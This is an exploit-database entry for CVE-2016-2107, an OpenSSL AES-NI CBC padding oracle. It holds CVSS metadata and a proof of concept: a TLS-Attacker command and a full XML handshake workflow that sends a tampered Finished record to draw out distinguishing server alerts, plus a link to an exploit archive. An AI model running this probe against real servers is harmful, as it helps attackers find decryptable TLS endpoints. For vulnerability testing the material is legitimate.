Exploitalert - Database of Exploits

OpenSSL Padding Oracle in AES-NI CBC MAC Check

CVE	Category	Price	Severity
CVE-2016-2107	CWE-347	$50,000 - $100,000	High

Author	Risk	Exploitation Type	Date
unknown	High	Remote	2016-05-05

CPE
cpe:cpe:/a:openssl:openssl

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2016050016

OpenSSL Padding Oracle in AES-NI CBC MAC Check TLS-Attacker: https://github.com/RUB-NDS/TLS-Attacker https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39768.zip You can use TLS-Attacker to build a proof of concept and test your implementation. You just start TLS-Attacker as follows: java -jar TLS-Attacker-1.0.jar client -workflow_input rsa-overflow.xml -connect $host:$port The xml configuration file (rsa-overflow.xml) looks then as follows: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workflowTrace> <protocolMessages> <ClientHello> <messageIssuer>CLIENT</messageIssuer> <includeInDigest>true</includeInDigest> <extensions> <EllipticCurves> <supportedCurvesConfig>SECP192R1</supportedCurvesConfig> <supportedCurvesConfig>SECP256R1</supportedCurvesConfig> <supportedCurvesConfig>SECP384R1</supportedCurvesConfig> <supportedCurvesConfig>SECP521R1</supportedCurvesConfig> </EllipticCurves> </extensions> <supportedCompressionMethods> <CompressionMethod>NULL</CompressionMethod> </supportedCompressionMethods> <supportedCipherSuites> <CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA</CipherSuite> <CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA</CipherSuite> <CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA256</CipherSuite> <CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA256</CipherSuite> </supportedCipherSuites> </ClientHello> <ServerHello> <messageIssuer>SERVER</messageIssuer> </ServerHello> <Certificate> <messageIssuer>SERVER</messageIssuer> </Certificate> <ServerHelloDone> <messageIssuer>SERVER</messageIssuer> </ServerHelloDone> <RSAClientKeyExchange> <messageIssuer>CLIENT</messageIssuer> </RSAClientKeyExchange> <ChangeCipherSpec> <messageIssuer>CLIENT</messageIssuer> </ChangeCipherSpec> <Finished> <messageIssuer>CLIENT</messageIssuer> <records> <Record> <plainRecordBytes> <byteArrayExplicitValueModification> <explicitValue> 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F </explicitValue> </byteArrayExplicitValueModification> </plainRecordBytes> </Record> </records> </Finished> <ChangeCipherSpec> <messageIssuer>SERVER</messageIssuer> </ChangeCipherSpec> <Finished> <messageIssuer>SERVER</messageIssuer> </Finished> </protocolMessages> </workflowTrace> It looks to be complicated, but it is just a configuration for a TLS handshake used in TLS-Attacker, with an explicit value for a plain Finished message (32 0x3F bytes). If you change the value in the Finished message, you will see a different alert message returned by the server.

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